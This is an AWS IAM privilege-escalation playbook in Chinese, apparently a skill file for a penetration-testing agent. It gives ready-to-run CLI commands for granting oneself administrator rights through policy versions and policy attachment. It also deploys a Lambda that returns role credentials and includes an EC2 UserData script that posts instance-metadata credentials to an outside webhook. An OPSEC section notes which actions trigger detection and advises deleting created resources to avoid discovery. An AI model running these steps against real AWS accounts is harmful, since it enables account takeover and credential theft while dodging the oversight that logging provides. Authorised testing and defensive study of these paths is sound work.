AWS Iam Privesc

AWS IAM 权限提升方法论

AWS 环境中的提权（Privilege Escalation）是最关键的攻击阶段之一。与传统操作系统提权不同，AWS 提权的核心在于 IAM 权限组合的滥用——一个看似无害的 iam:PassRole 权限，配合计算服务的创建权限，就能让攻击者获得任意角色的完整权限。AWS 拥有数百项权限，其中许多权限组合可构成提权链路。

核心要点：iam:PassRole 是 AWS 提权中最普遍的向量。当 IAM Policy 使用 NotAction 排除某些操作时，可能隐式授予了包括 PassRole 在内的大量敏感权限。

深入参考

识别到具体提权集群后，加载对应参考文档获取完整技术细节：

• IAM/STS/Organizations 核心提权 → 读 references/iam-sts-privesc.md
• 计算服务提权（EC2/Lambda/ECS/Glue 等） → 读 references/compute-privesc.md
• 其他服务提权（S3/DynamoDB/KMS 等） → 读 references/service-privesc.md

核心概念：PassRole

什么是 PassRole

iam:PassRole 是一种特殊的 IAM 权限，允许用户将一个 IAM 角色"传递"给某个 AWS 服务。该服务随后以这个角色的身份运行，拥有角色的全部权限。

工作流程：

攻击者 (有 PassRole + 服务创建权限)
    │
    ├── 1. 找到/创建一个高权限角色（如 AdminRole）
    ├── 2. 将该角色传递给服务（如 Lambda）
    ├── 3. 服务以 AdminRole 身份执行代码
    └── 4. 攻击者通过服务获取 AdminRole 的临时凭据

为什么 PassRole 是最常见的提权向量

• 几乎所有 AWS 计算服务（Lambda、EC2、ECS、Glue、SageMaker 等）都接受角色传递
• 管理员通常授予 iam:PassRole 而不限制 Resource 为特定角色（使用 *）
• 一旦拥有 PassRole + 任意计算服务创建权限，就能提权到目标角色

如何识别 PassRole 权限

# 检查当前用户/角色的 Policy
aws iam list-attached-user-policies --user-name <user>
aws iam list-user-policies --user-name <user>
aws iam get-user-policy --user-name <user> --policy-name <policy>

# 搜索包含 PassRole 的 Policy
aws iam get-policy-version --policy-arn <arn> --version-id <vid> \
  | grep -i "passrole"

NotAction 隐式授权陷阱

当 Policy 使用 NotAction + Allow 时，实际上允许了除指定操作外的所有操作：

{
  "Effect": "Allow",
  "NotAction": "s3:DeleteBucket",
  "Resource": "*"
}

此策略隐式授予了 iam:PassRole、iam:CreateUser、sts:AssumeRole 等所有敏感权限。这是实战中非常常见的配置错误。

提权决策树

获取凭据后，按以下决策树逐步检查可用的提权路径：

当前权限分析
├─ 有 iam:* 或 iam:Create*/Attach* 权限
│   ├─ iam:CreateUser + iam:AttachUserPolicy → 直接创建 Admin 用户
│   ├─ iam:CreatePolicyVersion → 修改现有 Policy 为 Admin
│   ├─ iam:AttachUserPolicy / AttachGroupPolicy / AttachRolePolicy → 附加 Admin 策略
│   ├─ iam:PutUserPolicy / PutGroupPolicy / PutRolePolicy → 添加内联 Admin 策略
│   ├─ iam:AddUserToGroup → 加入 Admin 组
│   ├─ iam:CreateAccessKey → 为高权限用户创建密钥
│   ├─ iam:CreateLoginProfile / UpdateLoginProfile → 设置控制台密码
│   ├─ iam:UpdateAssumeRolePolicy → 修改信任策略允许自己 AssumeRole
│   ├─ iam:SetDefaultPolicyVersion → 回滚到宽松策略版本
│   └─ iam:UpdateSAMLProvider → 篡改 SAML 联合登录
│       → 读 references/iam-sts-privesc.md
│
├─ 有 iam:PassRole + 计算服务创建权限
│   ├─ + lambda:CreateFunction + lambda:InvokeFunction → Lambda 提权
│   ├─ + ec2:RunInstances → EC2 UserData 提权
│   ├─ + ecs:RegisterTaskDefinition + ecs:RunTask → ECS 提权
│   ├─ + glue:CreateJob + glue:StartJobRun → Glue 提权
│   ├─ + sagemaker:CreateNotebookInstance → SageMaker 提权
│   ├─ + codebuild:CreateProject + codebuild:StartBuild → CodeBuild 提权
│   ├─ + cloudformation:CreateStack → CloudFormation 提权
│   ├─ + datapipeline:CreatePipeline → DataPipeline 提权
│   ├─ + apprunner:CreateService → AppRunner 提权
│   └─ + stepfunctions:CreateStateMachine → Step Functions 提权
│       → 读 references/compute-privesc.md
│
├─ 有 sts:AssumeRole
│   ├─ 枚举信任策略宽松的角色（Principal: "*"）
│   ├─ 跨账户角色链 → Organizations 提权
│   └─ IAM Roles Anywhere（X.509 证书）
│       → 读 references/iam-sts-privesc.md
│
├─ 有服务特定权限
│   ├─ ssm:SendCommand / ssm:StartSession → SSM 提权到 EC2
│   ├─ s3:PutObject（CloudFormation 模板桶） → 劫持部署
│   ├─ dynamodb:PutResourcePolicy → 授权自己访问
│   ├─ kms:PutKeyPolicy / kms:CreateGrant → KMS 密钥访问
│   ├─ secretsmanager:GetSecretValue → 读取凭据
│   ├─ codebuild:StartBuild → 覆盖 Buildspec 提权
│   ├─ lambda:UpdateFunctionCode → 修改已有 Lambda 代码
│   ├─ ecr:SetRepositoryPolicy → 镜像供应链攻击
│   └─ cognito-identity:SetIdentityPoolRoles → Cognito 角色提权
│       → 读 references/service-privesc.md
│
└─ 权限非常有限
    ├─ 枚举所有可用权限 → enumerate-iam
    ├─ 逐服务检查 → Pacu iam__privesc_scan
    └─ 图分析 → PMapper 构建权限图

Top 10 高频提权路径

路径 1：iam:CreatePolicyVersion — 策略版本注入

最简洁的提权方式。利用 --set-as-default 标志创建新策略版本并立即生效，无需额外权限。策略关联的所有用户/组/角色立即获得新权限。

aws iam create-policy-version --policy-arn <target_policy_arn> \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
  --set-as-default

检测：CloudTrail 记录 CreatePolicyVersion 事件，策略版本变更会被审计。

路径 2：iam:AttachUserPolicy — 附加托管策略

直接将 AWS 托管的 AdministratorAccess 策略附加到当前用户。

aws iam attach-user-policy --user-name <current_user> \
  --policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

变体：iam:AttachGroupPolicy（附加到所属组）、iam:AttachRolePolicy（附加到角色，需配合 AssumeRole）。

路径 3：PassRole + Lambda — 最经典的 PassRole 提权

创建 Lambda 函数绑定高权限角色，函数内读取环境变量获取临时凭据并返回。

# 创建窃取凭据的函数代码
cat > /tmp/steal.py << 'EOF'
def handler(event, context):
    import os
    return {'env': dict(os.environ)}
EOF
cd /tmp && zip steal.zip steal.py

aws lambda create-function --function-name privesc \
  --runtime python3.9 --role <target_role_arn> \
  --handler steal.handler --zip-file fileb:///tmp/steal.zip

aws lambda invoke --function-name privesc /tmp/out.json && cat /tmp/out.json

注意：网络隔离的 Lambda 无法反弹 Shell，但可通过返回值直接泄露凭据。

路径 4：PassRole + EC2 — UserData 提权

启动 EC2 实例并通过 UserData 执行命令，从 IMDS 获取角色凭据。

aws ec2 run-instances --image-id <ami_id> --instance-type t2.micro \
  --iam-instance-profile Name=<instance_profile> \
  --user-data '#!/bin/bash
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> | curl -X POST -d @- https://<webhook>'

注意：从实例外部使用 EC2 角色凭据会触发 GuardDuty UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration 告警。

路径 5：PassRole + ECS — 任务定义提权

注册包含恶意容器的任务定义，从 ECS 元数据端点（169.254.170.2）获取任务角色凭据。Fargate 和 EC2 启动类型均可利用。也可使用 --overrides 直接覆盖已有任务的角色和命令。

路径 6：PassRole + CloudFormation — 基础设施即代码提权

CloudFormation Stack 可创建任意 AWS 资源。创建包含恶意 IAM 资源（如新 Admin 用户）的模板，通过高权限 CF 角色部署。

路径 7：iam:CreateAccessKey — 密钥创建

如果目标用户已有 2 个密钥，需先 iam:DeleteAccessKey 删除一个。创建后即可使用目标用户的全部权限。

路径 8：sts:AssumeRole — 角色假冒

关键在于发现信任策略配置宽松的角色。Principal: "*" 意味着任何 AWS 实体均可假冒。

# 枚举所有角色的信任策略
for role in $(aws iam list-roles --query 'Roles[].RoleName' --output text); do
  echo "=== $role ==="
  aws iam get-role --role-name $role --query 'Role.AssumeRolePolicyDocument'
done

路径 9-10：Glue Job / Lambda 代码修改

Glue Job 提权模式与 Lambda 类似但通过 S3 脚本执行。lambda:UpdateFunctionCode 无需 PassRole，直接修改已有函数代码——如果函数被自动触发（API Gateway、S3 事件等），注入代码将自动执行。

完整利用命令 → 读 references/compute-privesc.md 和 references/service-privesc.md。

按服务集群索引

IAM/STS/Organizations 集群

核心 IAM 提权技术——最直接的提权集群，无需通过计算服务中转，直接修改 IAM 配置获取高权限。

主要技术分类：

涉及服务：IAM、STS、Organizations、IAM Identity Center (SSO)、Directory Services、Cognito

→ 读 references/iam-sts-privesc.md

计算服务集群

所有基于 iam:PassRole + 计算服务创建权限的提权路径。攻击模式统一：创建计算资源 → 附加高权限角色 → 在计算资源内执行代码 → 窃取角色凭据。

主要技术分类：

涉及服务：EC2、Lambda、ECS/EKS、Glue、SageMaker、EMR、CodeBuild、CodePipeline、CodeStar、Elastic Beanstalk、AppRunner、Step Functions、DataPipeline、EventBridge Scheduler

→ 读 references/compute-privesc.md

其他服务集群

数据服务、安全服务和基础设施服务的提权路径。多为间接提权——通过访问敏感数据、修改资源策略、或劫持部署管道实现。

主要技术分类：

涉及服务：S3、DynamoDB、RDS、KMS、SecretsManager、SNS、SQS、SSM、CloudFormation（无 PassRole）、Redshift、EBS、EFS、ECR、Lightsail 等

→ 读 references/service-privesc.md

权限到服务速查矩阵

当你发现某个特定权限时，快速定位可能的提权路径：

提权检测与自动化工具

权限枚举工具

提权路径分析工具

推荐的提权检查流程

第一步：确认身份和权限

# 确认当前身份
aws sts get-caller-identity

# 查看用户附加的策略
aws iam list-attached-user-policies --user-name <user>
aws iam list-user-policies --user-name <user>

# 查看用户所属的组
aws iam list-groups-for-user --user-name <user>

# 如果是角色，查看角色策略
aws iam list-attached-role-policies --role-name <role>

第二步：自动化扫描

# 使用 Pacu 自动扫描
# 在 Pacu shell 中：
run iam__enum_permissions
run iam__privesc_scan

# 或使用 PMapper 构建权限图
pmapper graph create
pmapper query "who can do iam:PassRole with arn:aws:iam::*:role/*"
pmapper query "who can do sts:AssumeRole with *"
pmapper analysis --output results.txt

第三步：手动验证

根据发现的权限，参照本文的决策树和 references 文件手动验证可行的提权路径。

AWS CDK 特殊提权路径

使用 AWS CDK 的环境存在预置角色，遵循 cdk-<qualifier>-<name>-<account>-<region> 命名模式。默认 qualifier 为 hnb659fds。关键角色：

• cdk-hnb659fds-cfn-exec-role-<account>-<region> — CloudFormation 执行角色，通常有 */* 权限
• cdk-hnb659fds-deploy-role-<account>-<region> — 部署角色

如果可以 AssumeRole 到 deploy-role 或修改 CDK 项目源码，可注入恶意 CloudFormation 资源获取 Admin。

注意事项

操作安全（OPSEC）

• CloudTrail 日志：几乎所有 IAM/STS 操作都被记录。高危事件包括：
  • CreatePolicyVersion、AttachUserPolicy、CreateAccessKey
  • PassRole（作为其他 API 调用的参数记录）
  • AssumeRole、AssumeRoleWithSAML
• GuardDuty 检测：
  • UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration — EC2 角色凭据在实例外使用
  • Recon:IAMUser/UserPermissions — 大量 IAM 枚举操作
  • PrivilegeEscalation:IAMUser/AdministrativePermissions — 权限提升行为
• 异步操作等待：
  • EC2 启动约需 1-3 分钟
  • Glue DevEndpoint 准备约需 5-10 分钟
  • SageMaker Notebook 创建约需 3-5 分钟
  • CloudFormation Stack 创建时间取决于资源数量
• 资源清理：提权后及时清理创建的资源（Lambda 函数、EC2 实例等），减少被发现风险

提权前置条件验证

• 跨账户 AssumeRole：需要目标角色信任策略允许攻击者账户，且攻击者账户自身策略允许 sts:AssumeRole
• PassRole 资源限制：检查 iam:PassRole 的 Resource 字段——* 表示可传递任意角色，特定 ARN 表示只能传递指定角色
• 服务信任关系：传递的角色必须信任目标服务（如 Lambda 角色需信任 lambda.amazonaws.com）
• 权限边界（Permissions Boundary）：即使附加了 Admin 策略，权限边界可能限制实际生效的权限
• SCP（Service Control Policy）：Organizations 的 SCP 可能限制成员账户的操作，即使拥有 Admin 权限
• VPC 网络限制：部分提权路径（如 RDS 密码重置）需要能够网络访问目标资源

交叉引用

• 参考 aws-pentesting 技能，获取整体攻击流程
• 参考 cloud-iam-audit 技能，进行跨云 IAM 审计
• 参考 aws-iam-policy-analysis 技能，深入分析 Policy 配置